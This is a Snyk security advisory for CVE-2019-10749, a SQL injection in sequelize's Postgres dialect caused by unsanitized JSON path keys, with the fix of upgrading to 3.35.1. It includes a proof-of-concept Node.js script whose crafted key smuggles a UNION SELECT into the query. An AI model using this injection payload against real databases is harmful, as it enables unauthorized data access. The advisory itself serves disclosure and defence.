SQL Injection Affecting sequelize package, versions <3.35.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.19% (58th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-SEQUELIZE-450222
- published 21 Jun 2019
- disclosed 20 Jun 2019
- credit Snyk Security Team
Introduced: 20 Jun 2019
CVE-2019-10749 Open this link in a new tabHow to fix?
Upgrade sequelize to version 3.35.1 or higher.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly sanitized in the Postgres dialect.
PoC by Snyk
const Sequelize = require('sequelize');
const sequelize = new Sequelize('someregistry', 'postgres', '', {
host: 'localhost',
port: '5432',
dialect: 'postgres'
});
const Project = sequelize.define('Project', {
name: Sequelize.DataTypes.TEXT,
target: Sequelize.DataTypes.JSONB,
}, {
tableName: 'projects',
});
(async () => {
await sequelize.authenticate();
console.log(await Project.findAll({
where: {target: {"a": 1}},
attributes: ['name'],
raw: true
}));
console.log(await Project.findAll({
where: {target: {"a}') = '1' UNION SELECT VERSION(); -- ": 1}},
attributes: ['name'],
raw: true
}));
})();
// https://github.com/sequelize/sequelize/blob/v3/lib/dialects/abstract/query-generator.js#L2201
// $baseKey = self.quoteIdentifier(key)+'#>>\'{'+path.join(', ')+'}\'';
References
CVSS Scores
version 3.1